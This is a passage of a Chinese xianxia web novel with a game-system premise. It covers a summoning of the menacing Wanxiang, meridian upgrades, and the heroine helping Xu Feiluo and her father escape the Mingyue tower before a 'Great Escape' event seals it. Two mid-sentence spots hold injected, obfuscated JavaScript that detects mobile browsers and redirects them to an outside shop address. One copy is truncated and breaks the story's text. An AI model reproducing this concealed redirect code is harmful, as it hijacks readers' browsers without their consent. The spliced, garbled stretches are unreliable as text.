妈妈,她从来没和这么凶的人对视过。一边粗眉断了半截,另一边斜飞入鬓,两只眼睛虎虎生威,嘴型呈三角状,两撮胡须翘起,脸上刀痕满布,看着就是个□□老大的plus版。 “你能召我多久?”与相貌相反,他的声音倒是很沉稳。 因相貌问题,滕棠呆了许久,刚反应过来,要回答时,对方突然“嘭”地一声,原地消失。 “二十……息。” 44. 第 44 章 滕棠抚平胸口,犹豫要不要再召唤一次。大佬是很强,却看着像个十恶不赦的坏人,虽伤不了自己,但伤害到其他无辜者就麻烦了。 “唔……”躺在地上的徐扉罗轻呼,捂头辗转。在滕棠的搀扶下,她坐起身,迷惘地望向被夷平的几座青山。 “我爹爹呢?” “放心,你爹无碍,他和龙傲天在一块。” 鹿焰宗的弟子几乎散了个干净,剩山残水中央,仅她们二人。夜间多雾,明日西落之后,土石草木互相掺混,没有高山的阻隔,湿重的水气被风不停歇地吹来。 得知徐云旭无事,徐扉罗的双腿像是充了气,缓缓地站起来:“长老和同门弟子呢?怎看不到人影?” 杀戮才结束半日,空中的血腥之味仅消去一点。滕棠带她先后去了禁地和管事阁,两处刚被洗劫一空,地上乱七八糟的脚印深浅不一。 像弟子身份牌这种东西随处可见,扔在地上,被淅沥沥的雨浸深木色。 此时或许是一个重要的转折点,这雨来得太应景,滕棠心想。 远处的天空紫雷闪过,一下接一下,白光入眼。轰隆——,巨大的爆鸣响彻天地,震耳欲聋的声音,喧豗得身子轻轻发抖。 雨势下得愈来愈大,水流汇聚,把附近的颓垣败壁都淹没。 两人淋成落汤鸡,在黑夜下湿漉漉地站着。徐扉罗原地发呆,暂时看不出她是不是在哭。滕棠在同门的储物囊内翻了翻,找出一把伞,撑开给她遮雨。 这个举动让徐扉罗回过头来,蓦地扑进滕棠怀里,瑟瑟抖动,呜咽地哭了良久。 雷声仍在持续,透过滂沱大雨和乌云,滕棠直直看向北边的天空。这是升阶破境界的天雷,声势如此浩大,又是紫色的最高级天雷,想必是龙傲天结成金丹了。 对于主角飞涨的实力,滕棠并不羡慕,只是站在废墟尸坟的鹿焰宗内,心情很复杂。大家都是垫脚石,随时可能被炮灰掉。 从黑夜到白昼,黎明出现的那一刻,雨停了。阳光重新照耀大地,熬过寒夜的鸟,在附近忽长忽短地啼鸣。 滕棠合上伞,抖掉表面的水珠。滴答滴答的声音,使徐扉罗擦干净脸上的水,直起身来。 “抱歉师妹,我失态了。” 冻了一夜,徐扉罗嘴唇发紫。她用灵力把二人身上的水烘干,和滕棠蹚水走上垂倒的屋檐。 “你的怀抱很温暖,第一次有人雨中为我撑伞。”徐扉罗含羞道。 “师姐振作起来就好。” 滕棠一愣,这走向不对。 徐扉罗取下脖间项链。翡翠的珠子冰透飘花,她递给旁边的红衣女子:“患难见真心,得一人足矣。” 突如其来的浪漫氛围是怎么回事,滕棠后退一步,推手回拒:“师姐,我有了。”把手伸进领口,掏出那条暗红的项饰给徐扉罗看。 那项链是中下品灵器,比徐扉罗手中的差一些,胜在有光闪动、色泽难觅。 徐扉罗见此,收回手,带着怨气道:“爹爹向来不喜我,对龙哥哥比亲生骨肉还亲。如今母亲和哥哥都不在人世,我去讨嫌作甚。” 滕棠觉得她不是说给自己听的,更像是自言自语,于是并未接话。 沉默了一小会儿,徐扉罗把披帛取下来折好,放进怀中,转身和滕棠提议:“我外祖父与舅父他们皆在天央大陆自在派,娘离家多年不曾回去,我如今唯有去投靠罢,你同我去么?若他们不认我,我们可拜进其他门派。” 未料徐扉罗还有其他亲人在,且在最繁盛的天央大陆,滕棠吃惊之余,开始思索对方的角色地位,点头答应:“好。正巧我想去天央大陆看看。” 跳上倒塌的檐角,滕棠向四处望,高山推平后,后山那个圆台被埋了,中心的石门尚在,露出一个白玉石角。 “明月八角塔那儿,还能进去不?”滕棠掂掂储物袋:“我还想进去卖东西呢。” “不知。”徐扉罗走在前,至圆台停下,御使灵剑将莲花柱挖出头来:“福鹿宗竟未收走这一角。” “那就是还能进去。”滕棠换了身衣裳,把面纱戴上,准备进去。 徐扉罗跟在后方,想起每百年一次的盛事,在白色通道中出声:“对了,师妹,雾蓝秘境关闭后,塔内一三五层会举行拍卖,你要参加么?” 滕棠摇头:“我没宝贝卖。” 徐扉罗打开储物囊,算了下灵石数目:“我们瞧瞧有什么要买的,渡狂海不是易事,海妖巨浪众多,随时可能丧命。” 狂海的危险程度,滕棠是知晓的,因此更需要灵石。至于拍卖会上的宝贝,大多都不及她的装备,去也是浪费时间。 “你去吧,我卖完东西去妖魔森历练,等你好了,同我传音,我们一齐出去。” 两人戴上面纱,约好时间与地点后,在三层分开。 滕棠没有停留在三层,而是去了五层,把所有能兑换成灵石的物品,全部变现成财富。她找到一家客栈,订好房间后,开始闭目盘坐。 如今有1232上品灵石和90块天脉石,她纠结于花钱买装备材料好,还是买天脉石好。一千上品灵石可以打造升级一格武器,或者两格装备。若是囤着买天脉石,冲破经脉穴位,对修行大有益处。 无法做出抉择,滕棠先打开[经脉]一栏,选择最重要的任督二脉,决定冲任脉一穴试试。她点击最开头的小点[承浆]。 每条经脉的初始穴位皆需81块天脉石,往后增加的数目稍有不同,滕棠目前只负担得起开头一穴。 她毫不犹豫地点击[冲穴]按钮。人人生而不同,天赋各异,滕棠这具身体经脉完全不通,实属废柴那一类,即使是最薄弱的穴位,在她体内也是堵着的。 承浆穴在唇下位置,是呼吸吐纳灵气之头,若是冲开,平时吸吐的灵气量,能提升好几倍。 个人信息界面上,纤瘦的轮廓内,最中间那条粗线的开头像个无底洞,吞入一块块天脉石。黑点逐渐被点亮,在三秒之后,唇部位置的黑点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032703|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成金点,比闪烁的星子还耀眼。 滕棠只觉下巴一轻,呼吸顺畅。关闭系统界面后,她捏了捏下半边脸,发现系统的冲穴非常不一般,仅是任脉的开端,就让她实力从炼气四层涨至炼气五层,且唇下那处灵气四溢、异常坚韧。 穴位竟能变成金色,滕棠诧异地捏个不停。要是把所有穴位打通,她岂不是刀枪不入,直接飞升? 想法是很美好的,怎奈钱包太空,成不了现实。 打通一处穴位后,滕棠琢磨着,把剩下的灵石全用来买天脉石。原先计划自己挤时间修行,十年苦修筑基,现下有了经脉功能,即使身无居所,也能早日筑基了。 一个穴位就让她从炼气四层升为炼气五层。滕棠信心倍增,将原来的计划更改,走出客栈,扛起大刀开始在妖魔森疯狂打怪。 在五日不眠不休地狂刷之后,滕棠喘气歇息,暗叹,要是自己的实力高强,打这片妖魔森的怪肯定不会这么累。 腹中的付岚山还在沉睡,它神魂被魔傀丝伤到,很少醒来,帮不上什么忙。 滕棠擦擦汗,不免想起自己的最后一个伙伴——万象。[强制召唤卡]囤了六张,前几天的20秒太短暂,自己就说了个名字。 狂海不是一般人能渡过去的,她和徐扉罗乘散修的船只渡海,有六成的可能性渡不过去。 多一个大佬,多一份存活率。 滕棠想到此处,深呼吸一口,再次选择使用[强制召唤卡]。因上次的印象,她心有余悸,紧张到收敛了鼻息。 万象这次随机出现在她身后,穿着一身黑衫,虎目外凸,死死瞪着滕棠,把她吓得不轻。 明知不能以貌取人,滕棠依旧被那威慑十足的眼神,唬得不敢动。 二十秒很短暂,必须抓紧时间。 滕棠努力控制自己的惧意,张口道:“晚辈亦不知为何灵契会结上前辈,眼下我们性命是一条绳上的蚂蚱,若晚辈有性命之忧时,把大佬召……” 她语速很快,然而对方并不想听她啰嗦。 “你每日召我一次。”万象负起手,刀疤脸即使不做表情,亦残虐凶厉,一身的戾气毫不掩饰地释放出来。 状似老大般下完命令完,万象嗖地一飞,在东边天上化成黑点,比赶着投胎还急。 每日一次,是不可能的,一个月才一张,背包里统共还剩五张卡。问题是大佬,您要去哪儿?滕棠原地发蒙,算一算,二十秒马上结束。 大佬除了长得凶残,似乎没有对她表现恶意。 滕棠权衡利弊后,咬咬牙,为和大佬搞好关系,痛心连点两张[强制召唤卡],在人一出现时,开始快速解说她的召唤机制。 这次,万象没打断她。 恶棍长相的男人听完,点点头,语气竟十分和善:“你明日召我三次。” 话音一落,又飞不见了…… 徒留原地的滕棠伸着手,眼巴巴望向天空的黑点:“你要到哪里去?我那召唤卡很珍贵的啊!” 45. 比赛 万象飞得洒脱,未同她解释去向。在明白召唤符的限制后,他仍要求她明日召三次。 滕棠苦恼地站在原地,茫茫然不知所措。 一张卡的时间只有二十秒,这么短的时间,他能做什么? 她一时摸不着头脑,嘴里喃喃:“还是杀浮大佬靠谱些。” 她点开伙伴栏,上面有四个打着问号的方格。 第一格是岑羽,[14级]筑基四层;第二格是从没召唤过的屠丹,[33级]元婴三层;第三格是大好人杀浮,[46级]出窍六层;第四格则是刚离开的万象,[52级]分神二层。 想要开启第五个伙伴位,自己必须升到25级。 滕棠一直没弄明白这个结契机制,每次都是系统强行绑定,她连选择的余地都没有。 不过幸而伙伴都是实力高强的人,否则自己早就挂了。说到底,是她不配,配不上和这些大佬成为生死伙伴。 掐个净身诀,把身上弄干净后,滕棠倒也想得开,实力不行就拼命提,总有一天她也可以成为伙伴们的臂膀。 信心满满地掂了掂大刀,滕棠唤出九色猫,眼神坚定地继续刷怪。 临到后头,升级缓慢,前日升至22级后,23级的经验条像没涨过一般,停留在三分之一处。 天脉石一块需要99上品灵石,而她打一日的怪,掉落物最多能卖10块上品灵石,想要冲破下一个穴位,异常艰难。 五层的妖魔森,对她来说难度尚可,在外围打比较轻松,在深一点的地带,则要费力些。 滕棠为了早日挣到灵石,买天脉石改善体质,不得不逼自己一把,以最快的速度于妖魔森深处,将那些等级稍高的怪斩杀。 打打杀杀过了一日,滕棠坐在石头上休息,想到昨日之事,决定先满足万象的要求,把三张召唤卡用在对方身上。 她在心里默默祈祷,希望大佬知道召唤符的珍贵,而不是用去花天酒地。 不是她不相信万象。正常人看到那张黑-帮老大的脸,都不会觉得这是个好人。 在伙伴界面点击[强制召唤]后,万象下一秒就随机出现在她背后。 对方身材高大,无言地瞥一眼她的背影,如同昨日来得快,去得也快,空气中残留着一句冷冰冰的话:“剩一次召唤术,留以不时之需。” 黑衣恶人相的男子一闪而逝,滕棠连他正脸都没瞧到,“您……”,转过头时,眼尾只瞥到飘逸的衣角,再正过身,万象已经成为远边看不见的黑点。 “您走好。”礼貌的微笑僵在脸上,满肚子的问题一个字没发出去。 滕棠敛上笑容,咬了咬牙,过会儿自言自语:“别担心,他还叫我留一张呢,一定是位面恶心善之人,嗯……一定是。” 明月八角塔内没有日出日落,为了知晓时间,大部分人会随身携带一个沙漏。滕棠则是靠每日签到提示,在系统“叮”声响起时,她就知道今日份打怪修行任务结束。 带着满满的背包回到城内,她卖东西时,习惯跟老板打听自己的几个伙伴。 “抱歉,姑娘说的这几位,岑羽、屠丹、杀浮、万象……我皆未听闻过,你去问问客栈的小二,他们认的人多。”铺子老板大都这么回答她。 可滕棠如何想不到,她每次回城,都会去不同的客栈逗留打听,甚至自己凝出大致画像,供小二看。然而明月一至五城,没有一个小二能给她提供讯息。 “难道他们都不是明月大陆的人?但不是的话,自己怎么结契上的?”滕棠喃喃着走出交易铺,满脸疑惑。 她在脑子里不断打开关闭伙伴界面,上方四人,只有屠丹不知相貌。 若屠丹在明月大陆,以对方的实力,元婴修者应该很有名才对。至于杀浮、万象,这样实力的大佬,就更不用说了。 在明月大陆,元婴期修者便能被称为强者,杀浮出窍期,比元婴高一个大境界,万象分神期,比元婴期高两个大境界,为何没人听说过他们呢? 想不明白自己究竟是怎么绑定上他们的,他们又是谁。滕棠心情复杂地买了几块天脉石,慢悠悠地折回妖魔森,周而复始地杀怪。 和妖兽对战几日,她的身法越发精进,现在能熟练地一边操作飞刀暗攻,一边轻巧地提着一米大刀近身战斗。 叮咚—— 过了约莫两个时辰,脑内响起系统提示音。 估计是天降福袋,要她氪金吧,这么猜测着,滕棠打开系统界面。 [第一届“大逃亡”比赛即将上线!参与活动,即可获得丰厚奖励!] 隐约记得,这是个类似于吃鸡的比赛,玩家自行选择区域降落,而后靠捡拾箱子或者和其他玩家厮杀,争取存活机会。最后根据积分排名,拿到不同的奖励。 现在结合修真界……滕棠差不多摸清了规律,系统每次有活动赛事,就意味着有大事件发生,她迟疑地点击[查看详情]。 [尊敬的玩家,系统将于9月20日上午扣除1000上品灵石,开启第一届“大逃亡”。玩家通过搜寻宝盒、斩杀妖魔、打败其他玩家,以及累计路程四种途径获取积分,比赛时间截止12月3日凌晨。积分达到10,奖励10中品灵石……积分达……] 滕棠一排一排读下去,逐渐兴奋起来,尤其是看到最后三样大奖。 [积分达到1000,奖励10000上品灵石;积分达到2000,奖励999块天脉石;积分达到3000,奖励‘限定武器外观·恶魔镰刀’,使用后,增加基础伤害20%。] 所有东西都是自己需要的,滕棠望着奖励,心里馋得慌。但她知道,这活动肯定与自己玩的时候不一样。 且事出蹊跷,说不定和剧情有关,难道龙傲天也在塔内? 通篇公告读下来,“大逃亡”三字属实刺眼。每次滕棠注意到标题,心里就有种不好的预感。看比赛名称,再结合明月八角塔,怕是有一场浩劫即将降临此处。 关闭邮件之后,她甩甩头,当务之急是尽快提升实力、储备灵石。 未知的危机、无门派可靠,还有李婪深与陆椛的杀伙伴之仇,皆令滕棠急迫想要变强,于是打起怪来更加卖力。 转眼过了两日,腰间挂着的传音石突然振动。 这石头是在三层新买的,里面只有徐扉罗的联络点,这会儿左腹微颤,她才想起之前的约定。 滕棠取下来,贴额头上读。原来是拍卖会结束,徐扉罗在汇合点等了一日,没见到她。 拍了下自己的脑袋,“竟然忘了”,她喃喃自语,立刻收拾好东西,穿着其他门派弟子的服装,在易物铺中把背包卖空后,急忙赶去三层找徐扉罗。 她们约好的地方是个不出名的客栈,位置也很偏僻,在明月三城的角落。 滕棠问好房间,就循着数目,走向徐扉罗那儿。 站在门外,她似乎听见点人声,顿了顿,迟疑地敲响门,问:“徐小姐在否?”生怕敲错门。 “我在,你等等,我来给你开门。” 里面传来焦急的脚步声,徐扉罗小步跑来,推开门,一把抓住滕棠的肩膀,贴在她耳边小声道:“刚刚龙傲天和我爹爹找到我,他们来得太突然,我没时间知会你。” 滕棠僵住,难怪系统会出新活动,恐怕是男主又要引发大变故。 但她不知的是,此次活动并不是龙傲天引起的,而是她那六张召唤卡,令万象毁了底下的镇魔大阵,导致仙塔异变。 “他们怎么会在塔内?”滕棠刚低声问完,就瞄到里屋冒出个红毛头,便暗中拉了拉徐扉罗的衣袖。 龙傲天看起来心情不错,往脑后捋动头发,对她一笑,用着熟悉的腔调:“棠儿丫头。” 那油腻腻的感觉如附骨之疽,怎么除都除不掉。滕棠拉开自己和他们的距离,眼神在这二人之间逡巡,略微猜忌。 不怪她多想,实在是之前徐扉罗对龙傲天的黏糊热情劲,让她不得不警惕,万一徐扉罗在男主“魅力”影响下,脑子抽了,要同男主和好呢,然后两人联手迫害自己。 “方才罗儿讲那么多,亲眼见你们真的平安无事,我才放下心来。” 龙傲天转动指上戒指,上下打量她,忽然笑意愈浓:“丫头炼气五层巅峰了,是不是在秘境里得了好东西?” 滕棠和他对视,捕捉到那金眸里的一丝贪婪,于是摇摇头,故作遗憾地编道:“运气好,饮到两口雾蓝秘境的九阴水罢了,当时不知其好处,出来后追悔莫及。” 雾蓝秘境的宝贝繁多,九阴水便是其中之一,因能增长灵力且极其难觅,在明月大陆无人不知。 幸好滕棠查阅了相关书籍,此时才有借口回避龙傲天探究的视线。 “棠儿真是运气非凡呐!那日在雾蓝秘境,我还见你一身金甲熠熠生辉。” 龙傲天不知在想什么,指间的黑环转动不停,金眸晃过一旁绞手指的徐扉罗,提起杀浮来。 “我这几日无时无刻不牵挂你们,方才得知你们两个侥幸从魔人手里逃脱,今日终于放下心来。那魔人怪得很,来去无影,我还以为你们已经都……唉,为此伤心懊悔,你们被他带走后,有没有受伤?” 呸,滕棠知晓他在试探,在心里无言唾弃了声。 龙傲天就算为她们伤心,也是遗憾弄丢两个仙体,使得他练不成无上合欢大法。 碍于不知道徐扉罗怎么给他解释的,她暂未开口,掩面低头,袖子还未到鼻梁,两颗水珠便簌簌滚落,哭红了眼睛,一副受尽委屈的模样。 滕棠心道,装伤心谁不会,她演技绝对比龙傲天好。 徐扉罗很有眼力见,咬唇跺了一脚,学起以前的娇嗔:“龙哥哥,我不是都给你讲了么,那魔人遇到只厉害的妖兽,受了重伤,为此我才和师妹逃过一劫。” 龙傲天松开戒指,瞪圆了眼睛,被滕棠突然的转变弄得不知所措,阔步过来,关切问:“丫头怎么哭了?” 滕棠躲开他,走至徐扉罗身后,没用力地拧了她一下,支出半张脸来,梨花带雨地道:“我已经被那魔人……呜呜,龙公子不必再对我这般好。” “什么!”龙傲天满脸震惊,当场脱口而出:“他是不是夺走了你的阴元!” 恰时,徐扉罗想起龙傲天的秘密,也如同戏精附体,身子一下就软了,扑在滕棠怀里:“你、你为什么要说出来!我本欲瞒着他的,都怪你!”说完,还软绵绵锤了下滕棠。 长袖背后,滕棠的脸是无语状,心想你能不能表演真实一点,我抗揍,可以锤重点。 滕棠用力揉搓眼睛,半遮半掩地望向龙傲天那边。 所幸龙傲天没关注她们的动作,低头懊悔地重复着:“竟然被夺走了,早知如今,当初我就不该顾及她们的想法,初识时便直接交合……” 他垂眸盯着手上的戒指,眼球定住,似乎在和里面的人交流。 见此,滕棠哭得更得劲了,和徐扉罗抱头痛哭。 她哭得抽抽噎噎的,徐扉罗比她更狠,嚎啕得整个客栈都听得见,许是想起娘和哥哥的死,还有门派被毁等一系列事,此时找到宣泄口一般,眼泪顷刻涌出。 龙傲天回过神,也未前来把她们扶起,怏怏不乐地道:“都别哭了,让外面人看笑话。扉罗,你爹受了伤在里面昏迷不醒,此刻不宜打扰。” 徐扉罗收了声,哽咽地问:“龙哥哥,你还娶我么?” 被问的人似乎还在懊悔恼怒,抬眸见她一副急于嫁人的模样,心里烦闷,摆摆手:“你们先起来,此时前有福鹿宗,后有祥天门,我们在这塔里并不安全,没有心思去想儿女之情。” 龙傲天到底是年轻了些,十八的年纪,什么心思都写在脸上。他暗自安慰,还好只是仙体,至柔仙体比较好找,至和仙体费些力气,也能再寻一位,关键的还是神体,必须去祥天门想办法得到李偲缨。 滕棠搀扶起徐扉罗,上气不接下气地问:“徐师姐,掌门还好么?” “不太好,受了重伤,昏迷不醒。”徐扉罗伤心道。 塔里并不热,龙傲天却觉得火焰上身,神情非常愤怒。他在桌子上斟了一杯灵茶,仰头灌下,擦擦嘴走至门边。 “你们在这儿歇着,我去找阿斓丫头,她从伏火宗带出一艘船,过几日和我们一起渡狂海,去天央大陆。鹿焰宗被灭之仇,我来日一定会报!” 他此时看上去既愤怒又失落,不再是往日意气勃发的青年:“不要在明月八角塔内暴露身份,就穿着其他小门派的服饰,别人追问,赶紧跑,不要惹事上身。” 他关门时,回头看眼屋内抱在一起的二人,觉得自己念在门派养育之恩,以及以前的时光,没有抛下她们,已是仁义至尽的事,换做旁人,做不到这份上。 咔地一声,木门关上,屋里两人的表情俱是一变。 听到外面愈行愈远的脚步声,徐扉罗抓住滕棠的手臂问:“我虽大妹妹四十来岁,但性子没有妹妹稳重,你说我们接下来怎么办?难道要跟他走?” “你先别急。”经过方才一番,滕棠确认徐扉罗已经对龙傲天没有留恋,于是拉着她往里屋走:“带我去看看你爹的情况。” 里屋檀香四溢,徐云旭安安静静地躺在床上,似乎瘦了很多,皮肤紫红,那张脸却依旧严肃。 “当时我爹见鹿泫要伤龙傲天,便替他接了一掌……”徐扉罗说到此处,垂头看不清表情:“爹爹对他可真好,比亲女儿、亲儿子还好,我和哥哥倒像是收养的。” 滕棠不会医术,亦不知自己背包里的回血丹有没有效果。她伸手指在徐云旭鼻前一探,呼吸很微弱,若不吃点好药,恐怕挺不过去。 “徐扉罗。”滕棠直呼其名,并不觉得徐扉罗比自己大那么多。从性格来说,对方比自己还烂漫天真。 她把手伸向储物袋,从背包里取出一瓶回血丹,递给她:“这是雾蓝秘境救我们那位……好魔人给我的,你务必相信我,即刻带你爹离开,千万不要待在塔内。” 滕棠见她毫不犹豫地喂给徐云旭,便说:“这丹药我服用过一次,没有毒,疗效超凡。” 然后问她:“若掌门伤势治愈,你和他能安然无虞抵达天央大陆么?” 徐扉罗既没点头也没摇头,头发间插着一朵替娘和哥哥守灵的白花。 她皱着眉道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐扉罗笑盈盈的,拉滕棠过来,正要介绍:“她是……” “我是谁并不重要。” 滕棠打断她,再次丢给他们一瓶回血丹,再三嘱咐:“快点离开明月塔才是上策,要是在狂海受伤,你们就吃这个丹药。” “你不和我们走?你要去哪儿?” 徐扉罗认识滕棠这么多年,实在想不出她有什么地方可去,一无熟人,二没门派,鹿焰宗都被洗劫一空,她总不可能回那里去。 滕棠没有办法给她解释游戏系统的事,也找不到好借口,只道:“我送你们离开吧,我怕晚了,你们出不去。” “出不去?” “对。”滕棠脑子一灵光,想起李婪深:“我不是跟你说过,我和李婪深有生死之仇么。他有秘密,和仙塔有关,我那时仅听到只言片语,若是不离开此处,会有血光之灾。” 滕棠把一脸懵的徐云旭给拉起身:“你伤好得差不多了,能走路,出去后对你女儿好点。” 这一路,在滕棠的催促下,前头的父女走得很急切。要不是三人都还活着,徐扉罗还以为他们正赶着投胎。 临到漩涡口,滕棠被徐扉罗拉起小手,对方还未开口,她就知道徐扉罗要说什么,看那表情多半是劝她一起走。 “别了,有缘再聚。如我不死,自会去天央大陆找你们,是叫自在派对吧?” 徐扉罗见她心意已定,眼含泪水地点点头,深情抱了她一下:“你必须来找我,方才在龙傲天面前毁了我清白,我等着你来娶我。” 一旁的徐云旭傻眼,严肃的面庞一点点崩塌,刚苏醒就被推搡着疾行一路,这会儿又听见这么一句话,脑筋突然像麻花般拧住。 “你你你、你们……”他结巴半天,嘴皮子抖抖,说不出一句完整的言辞。 “走吧。”滕棠亦听得满头大汗,推了下她的肩,让她赶紧带她傻掉的爹离开明月八角塔。 父女拉扯着进了漩涡,滕棠望着他们的背影,只听徐云旭破口大骂:“天下俊郎那么多,你竟喜欢一女子?” 揩干被徐扉罗泪水打湿的脖子,滕棠松了口气,总算把这二人给送走了。想当个好心人真难,希望徐扉罗是在开玩笑吧。 她跟徐扉罗的关系其实说不上好,但是曾经在龙傲天院里,快被男主拍死的时候,正是此人看到她在用血手写字,又在受戒台出来说话,无形中救了她一命。 滕棠折回客栈,没有退房,而是花钱续了几日,并在桌上留一封信给龙傲天,以打消他的怀疑。 徐云旭受那么重的伤,她和徐扉罗急切,带掌门出去找人疗伤,是情理之中的事。 做好这些,该说好巧不巧,外面的天就变了。 塔内低层,修者流动频繁,明月三城人数较多,此时已经乱成一锅粥,众人嚷嚷着:“奇怪,怎么会出不去?” “许师兄,你们叱咤门可通行么?”“不行,我收到传音了。” “力移门呢?”“我们一样,出不去,进不来。” …… 滕棠走在人群中,随意听了几句,得知各大门派的塔角突然不能使用之后,她无比庆幸刚才催得快,让徐扉罗和她爹离开了这儿。 她就知道,龙傲天一出去,非常可能触发事件,即使比赛还未开始。 这可真误会龙傲天了,他本人此时亦不知情,怀抱着秦阿斓亲亲我我,愤懑道:“你那日看见了吧,李婪深那老头想对我出手,哼,他祥天门屹立这么多年,该歇息了。” 秦阿斓长相妖异,发尾偏红,她绕着一绺把玩:“我问过我爹,祥天门的老祖李孚骅百年前闭关,至今都未出现过,多半已经死了。” “真的?” 龙傲天金色眼珠左移,手在背后捏碎一颗石头:“李婪深的那丝黑气不对,他把李偲缨和两个徒弟的尸体放在地牢里,加之那阵法,肯定是要做什么,现在李偲缨的尸身不知被他挪向何处,正常人不会乱动尸体……” 秦阿斓不喜听见他谈起别的女子,即使那是个死人。 她见过,知道李偲缨长得有多美,于是吃醋地甩开他手:“你老惦记那女尸做什么?” 龙傲天爽朗笑了一声,勾起她的下巴道:“丫头真可爱,连尸体的醋都吃。我这不是担心龙性发作,让你受累么哈哈,早日将那尸身炼化成丹,才能压制我本性。” 他说起谎话来,无需打草稿,把涉世未深的秦阿斓骗得服服帖帖。 两人打情骂俏一会儿,忽然天摇地动。秦阿斓腰上的传音石抖个不停,她取下来贴额头上一读。 “糟了!” 她想到龙傲天与福鹿宗、祥天门的纠葛,担忧道:“八大门派的塔角失去反应,我们出不去,外面的弟子进不来。你说……是不是鹿掌门和李掌门联手,知道你在这儿,想困住你?” 龙傲天下意识地去摸戒指,抬头望向有点发灰的天空,摇头道:“不可能,他们绝不可能知道我在这儿,我师父乃是大能,他们捕捉不到我的行踪。” 两人带着疑问,火速朝出口赶,五城的出口不行,就往下,一路来到明月八角塔的一层。龙傲天抬头看天,发觉它更灰了。 处在明月三城的滕棠,是整个塔里最不急的人。别人都在往出口堵去,个个冲撞向屏障,或向漩涡发力,试图和外面联系。 唯独她,肩上扛着一把黑红的长刀,走到空无一人的妖魔森,继续刷怪,把三层的妖魔森屠得只剩三分之一。 46. 第 46 章 两日的时间非常短暂,晃眼就过去了。塔内被封锁后,每层的天空灰蒙蒙的,试炼之地总是频繁震荡,弄得众弟子人心惶惶,日日堵在一层,等着出去。 [叮!全新赛事‘大逃亡’已开启,是否下载安装更新包。] 滕棠找了个安静的地闭目休息,听到提示后,立马就点了更新。 系统的下载速度很快,不到一会儿就开始解析安装包。在约两三分钟后,脑子里响起一声刀剑相击的清铛,遂跳出一张绘卷。 滕棠在脑中到处点点,看有没有免费领的东西,忽然听到哈欠声。 灵力内视丹田灵根处,攀附在那的蛇支起头,付岚山醒了,缠紧她的灵根,问:“滕棠,我睡了多久?你许诺我的东西呢?” 滕棠瞧着它肥硕的魂魄,一边猜它吸走了自己多少灵气,一边回道:“半个月。你连肉身都没有,我现在把东西给你,有什么用?” 为了安他的心,她点开商城,花灵石买了几个金光闪闪却没什么用的装饰物,取出来亮给付岚山看:“怎么样,我没骗你吧?” 几近透明的付岚山眼睛一亮,半钻出她的丹田,圆滚滚的蛇头晃来晃去,似乎很高兴:“好极了!比我那些石头漂亮!” 滕棠收回外观饰物,瞥一眼界面右下角的分享按钮,点击了下。 意外地,系统的分享不但能对人,还可以对只剩魂魄的妖分享。被控制身体后,她噌地站起来,吓了付岚山一跳。 手里大刀噼里啪啦一阵乱砍,最后在树叶飘扬之中,她摆出一个迎战的姿势,一字一顿地道:“9月20日全服大逃亡,快来参与!突出重围,赢取丰厚大奖!” “你抽什么风?”付岚山嘶嘶吐信,椭球的蛇目眨个不停。 分享完毕,得到一块天脉石和500中品灵石,滕棠淡定地恢复站姿,问他:“你现下实力如何?” 若是有个帮手,获取积分应该更容易些。 “我现在能跟金丹修者打,可惜……” 付岚山话到一半,长长打了个哈欠,下半句话破灭了她的想法:“可惜我伤及魂魄,今日能苏醒实属不易,等我再休眠一段时间,才能保持清醒。” 滕棠真想把它丢出去,天天吸走自己那么多灵气,竟帮不上什么忙。 她把付岚山的头按回去,念在之前收了那么多奇石,还算和气地说:“我把你养在丹田处,你好生休息,我往后要收利息的。” “哼,真小气。”付岚山瞪她一眼,蛇头沉沉,攀绕着滕棠的五色灵根,接着睡去了。 [大逃亡]比赛自开启后,明月八角塔内便弥漫着不详之气,本就灰暗的天空,此时黑魆魆,幽如深夜。在塔内一次巨大的震动之后,所有试炼之地倏然移动,像阵法变动般,横到中心。 轰—— 沸天震地的声响,让所有人胆战心慌。妖魔森的妖兽似感受到危机,慌张地往外逃窜,涌向城内撞坏楼铺。 没有日月温差的天地,忽而谡谡刮风,从中心往外旋,力度大得能把人吹起。 滕棠抱着一棵大树,躲避跑过来的兽群。她眯眼看向三城中心,那儿有一束贯彻天地的红光,与试炼之阵的颜色一致。 隐隐约约,她似乎看出那是个通道,里面偶有几个黑点闪动,不知是何物。 赢积分有四个途径:杀妖兽魔怪、战胜其他玩家、搜寻宝物、累计路程。前两项加的积分最多,后两项次之。 滕棠暂不想打打杀杀,于是迎风从树上跳下,乘坐热气球往中心地带飞。 来到仙塔中央,空中的风好像小了些,她停在红光外,透过屏障,看到里面有不少人。原来方才的黑点,就是八门派弟子在内穿行。 只是很奇怪,他们有的举止狂躁,有的则行为正常。 滕棠手聚灵力,拨开被风卷过来的木渣,瞄到红光中不少宝物在飘动,于是心神一动,准备进去抢。 甫一进去,她发觉空气有问题,吸入肺腑后,头晕脑胀,心情烦躁得想杀人。 [提示:您已进入赤芒雾范围,毒素值累积到10,会被明月八角塔控制心神。服下中级解毒丹,能清除毒素。‘点击购买’] 难怪里面这么多弟子跟杀人狂魔似的,原来是中了毒。中级的毒,如不吃解药,只有金丹期修者勉强能抵抗一二,稳住神魂的同时,排除毒素。金丹以下,皆无法维持意识。 之前存了不少灵石,滕棠立马打开商城,豪爽地买下10瓶解毒丹,在背包内使用。中级解毒丹每颗时效30分钟,可叠加。 因要在赤芒通道内寻宝,她一口气服用完,叠加到25个小时。 热气球停在赤芒雾边缘,滕棠抬头望,发现里面不仅视线清晰,且试炼之地层层打通,往上可达十层,往下深不见底。 “三师弟冷静!” 离她不远的地方,是骅门的一个金丹弟子,正持剑和同门师弟打斗。他显然也被毒素影响,额上青筋暴起。 